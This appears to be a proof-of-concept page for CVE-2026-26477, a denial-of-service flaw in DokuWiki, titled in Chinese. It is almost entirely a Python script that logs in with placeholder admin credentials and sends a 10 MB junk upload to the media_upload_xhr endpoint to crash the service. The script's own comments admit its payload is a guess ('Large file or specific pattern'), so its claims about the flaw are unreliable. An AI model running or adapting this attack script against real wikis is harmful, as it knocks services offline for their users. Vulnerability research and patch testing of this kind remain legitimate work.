CVE-2026-26477 Dokuwiki拒绝服务漏洞

import requests # CVE-2026-26477 PoC Generator # Target: Dokuwiki v.2025-05-14b "Librarian" # Endpoint: media_upload_xhr in media.php def trigger_dos(target_url, username, password): session = requests.Session() # Step 1: Login (Required due to PR:L) login_data = { 'u': username, 'p': password, 'do': 'login' } print(f"[*] Attempting login to {target_url}") login_resp = session.post(f"{target_url}/doku.php", data=login_data) if 'Login' not in login_resp.text: print("[+] Login successful") else: print("[-] Login failed") return # Step 2: Send malicious payload to media_upload_xhr # The vulnerability allows triggering DoS via the upload function upload_url = f"{target_url}/lib/exe/ajax.php" # Malicious payload intended to exhaust resources or crash the process files = { 'upload': ('dos_payload.bin', b'A' * 10000000) # Large file or specific pattern } data = { 'call': 'media_upload_xhr', 'mediaid': 'test_dos' } print(f"[*] Sending DoS payload to {upload_url}") try: response = session.post(upload_url, files=files, data=data) print(f"[*] Response Status: {response.status_code}") if response.status_code == 500 or response.status_code == 0: print("[+] Potential DoS triggered (Service unavailable)") except requests.exceptions.RequestException as e: print(f"[+] Connection error: {e} (Service likely crashed)") if __name__ == "__main__": # Replace with actual target details target = "http://localhost:8080" user = "admin" pwd = "password" trigger_dos(target, user, pwd)